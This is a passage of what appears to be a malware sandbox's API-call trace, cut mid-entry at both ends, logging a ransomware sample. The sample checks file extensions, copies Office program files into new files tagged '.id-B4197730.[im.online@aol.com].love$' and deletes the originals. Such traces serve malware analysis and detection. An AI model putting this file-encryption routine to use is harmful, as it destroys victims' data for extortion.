(lpString1=".dbf", lpString2=".dll") returned -1 [0251.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.864] lstrlenW (lpString=".1cd") returned 4 [0251.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.864] lstrlenW (lpString=".jpg") returned 4 [0251.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.865] lstrlenW (lpString=".doc") returned 4 [0251.865] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0251.865] lstrlenW (lpString=".docx") returned 5 [0251.865] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0251.865] lstrlenW (lpString=".pdf") returned 4 [0251.865] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0251.865] lstrlenW (lpString=".xls") returned 4 [0251.865] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0251.865] lstrlenW (lpString=".xlsx") returned 5 [0251.866] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0251.866] lstrlenW (lpString=".ppt") returned 4 [0251.866] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0251.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.866] lstrlenW (lpString=".zip") returned 4 [0251.866] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0251.866] lstrlenW (lpString=".rar") returned 4 [0251.866] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0251.866] lstrlenW (lpString=".bz2") returned 4 [0251.866] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0251.866] lstrlenW (lpString=".7z") returned 3 [0251.866] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0251.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.866] lstrlenW (lpString=".dbf") returned 4 [0251.866] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0251.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.866] lstrlenW (lpString=".1cd") returned 4 [0251.866] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0251.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65 [0251.866] lstrlenW (lpString=".jpg") returned 4 [0251.866] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0251.866] lstrcmpiW (lpString1=".msu", lpString2=".love$") returned 1 [0251.867] lstrlenW (lpString="Windows8-RT-KB2999226-x86.msu") returned 29 [0251.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0251.869] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=615304) returned 1 [0251.869] CloseHandle (hObject=0x53c) returned 1 [0251.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0251.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0251.874] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.874] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0251.875] GetLastError () returned 0x0 [0251.875] ReadFile (in: hFile=0x53c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x96388, lpOverlapped=0x0) returned 1 [0252.484] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x96390, lpOverlapped=0x0) returned 1 [0252.503] ReadFile (in: hFile=0x53c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.837] WriteFile (in: hFile=0x388, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10e, lpOverlapped=0x0) returned 1 [0252.837] SetEndOfFile (hFile=0x388) returned 1 [0252.838] CloseHandle (hObject=0x388) returned 1 [0252.838] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.838] SetEndOfFile (hFile=0x53c) returned 1 [0252.856] CloseHandle (hObject=0x53c) returned 1 [0252.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1 [0253.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.517] lstrlenW (lpString=".doc") returned 4 [0253.517] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0253.517] lstrlenW (lpString=".docx") returned 5 [0253.517] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0253.517] lstrlenW (lpString=".pdf") returned 4 [0253.517] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0253.517] lstrlenW (lpString=".xls") returned 4 [0253.518] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0253.518] lstrlenW (lpString=".xlsx") returned 5 [0253.518] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0253.518] lstrlenW (lpString=".ppt") returned 4 [0253.518] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0253.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.518] lstrlenW (lpString=".zip") returned 4 [0253.518] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0253.518] lstrlenW (lpString=".rar") returned 4 [0253.518] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0253.518] lstrlenW (lpString=".bz2") returned 4 [0253.518] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0253.518] lstrlenW (lpString=".7z") returned 3 [0253.518] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0253.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.518] lstrlenW (lpString=".dbf") returned 4 [0253.518] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0253.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.518] lstrlenW (lpString=".1cd") returned 4 [0253.518] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0253.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.518] lstrlenW (lpString=".jpg") returned 4 [0253.518] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0253.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.518] lstrlenW (lpString=".doc") returned 4 [0253.519] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0253.519] lstrlenW (lpString=".docx") returned 5 [0253.519] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0253.519] lstrlenW (lpString=".pdf") returned 4 [0253.519] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0253.519] lstrlenW (lpString=".xls") returned 4 [0253.519] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0253.519] lstrlenW (lpString=".xlsx") returned 5 [0253.519] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0253.519] lstrlenW (lpString=".ppt") returned 4 [0253.519] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0253.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.519] lstrlenW (lpString=".zip") returned 4 [0253.520] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0253.520] lstrlenW (lpString=".rar") returned 4 [0253.520] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0253.520] lstrlenW (lpString=".bz2") returned 4 [0253.520] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0253.520] lstrlenW (lpString=".7z") returned 3 [0253.520] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0253.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.520] lstrlenW (lpString=".dbf") returned 4 [0253.520] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0253.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.520] lstrlenW (lpString=".1cd") returned 4 [0253.520] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0253.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0253.520] lstrlenW (lpString=".jpg") returned 4 [0253.520] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0253.520] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0253.520] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26 [0253.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0253.733] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=10639) returned 1 [0253.733] CloseHandle (hObject=0x4e8) returned 1 [0253.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0253.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0253.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0253.733] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.733] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0254.742] GetLastError () returned 0x0 [0254.742] ReadFile (in: hFile=0x4e8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x298f, lpOverlapped=0x0) returned 1 [0254.747] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2990, lpOverlapped=0x0) returned 1 [0254.748] ReadFile (in: hFile=0x4e8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0254.748] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x108, lpOverlapped=0x0) returned 1 [0254.749] SetEndOfFile (hFile=0x548) returned 1 [0254.749] CloseHandle (hObject=0x548) returned 1 [0254.749] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.749] SetEndOfFile (hFile=0x4e8) returned 1 [0254.752] CloseHandle (hObject=0x4e8) returned 1 [0254.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0254.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1 [0254.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.755] lstrlenW (lpString=".doc") returned 4 [0254.755] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0254.755] lstrlenW (lpString=".docx") returned 5 [0254.755] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0254.755] lstrlenW (lpString=".pdf") returned 4 [0254.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0254.755] lstrlenW (lpString=".xls") returned 4 [0254.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0254.755] lstrlenW (lpString=".xlsx") returned 5 [0254.755] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0254.755] lstrlenW (lpString=".ppt") returned 4 [0254.755] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0254.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.755] lstrlenW (lpString=".zip") returned 4 [0254.755] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0254.755] lstrlenW (lpString=".rar") returned 4 [0254.755] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0254.755] lstrlenW (lpString=".bz2") returned 4 [0254.755] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0254.755] lstrlenW (lpString=".7z") returned 3 [0254.755] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0254.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.755] lstrlenW (lpString=".dbf") returned 4 [0254.756] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.756] lstrlenW (lpString=".1cd") returned 4 [0254.756] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.756] lstrlenW (lpString=".jpg") returned 4 [0254.756] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.756] lstrlenW (lpString=".doc") returned 4 [0254.756] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString=".docx") returned 5 [0254.756] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0254.756] lstrlenW (lpString=".pdf") returned 4 [0254.756] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString=".xls") returned 4 [0254.756] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString=".xlsx") returned 5 [0254.756] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0254.756] lstrlenW (lpString=".ppt") returned 4 [0254.756] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.756] lstrlenW (lpString=".zip") returned 4 [0254.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString=".rar") returned 4 [0254.756] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0254.756] lstrlenW (lpString=".bz2") returned 4 [0254.756] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0254.757] lstrlenW (lpString=".7z") returned 3 [0254.757] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.757] lstrlenW (lpString=".dbf") returned 4 [0254.757] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.757] lstrlenW (lpString=".1cd") returned 4 [0254.757] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0254.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0254.757] lstrlenW (lpString=".jpg") returned 4 [0254.757] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0254.757] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0254.757] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27 [0254.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0254.759] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=20780) returned 1 [0254.759] CloseHandle (hObject=0x4e8) returned 1 [0254.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0254.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0254.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0254.759] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.760] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0254.761] GetLastError () returned 0x0 [0254.761] ReadFile (in: hFile=0x4e8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x512c, lpOverlapped=0x0) returned 1 [0254.768] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5130, lpOverlapped=0x0) returned 1 [0254.770] ReadFile (in: hFile=0x4e8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0254.770] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x10a, lpOverlapped=0x0) returned 1 [0254.770] SetEndOfFile (hFile=0x548) returned 1 [0254.770] CloseHandle (hObject=0x548) returned 1 [0254.771] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.771] SetEndOfFile (hFile=0x4e8) returned 1 [0254.774] CloseHandle (hObject=0x4e8) returned 1 [0254.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0254.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1 [0254.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.776] lstrlenW (lpString=".doc") returned 4 [0254.776] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString=".docx") returned 5 [0254.776] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0254.776] lstrlenW (lpString=".pdf") returned 4 [0254.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString=".xls") returned 4 [0254.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString=".xlsx") returned 5 [0254.776] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0254.776] lstrlenW (lpString=".ppt") returned 4 [0254.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.776] lstrlenW (lpString=".zip") returned 4 [0254.776] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString=".rar") returned 4 [0254.776] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString=".bz2") returned 4 [0254.776] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString=".7z") returned 3 [0254.776] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0254.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.776] lstrlenW (lpString=".dbf") returned 4 [0254.776] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.776] lstrlenW (lpString=".1cd") returned 4 [0254.776] lstrcmpiW (lpString1=".1cd", 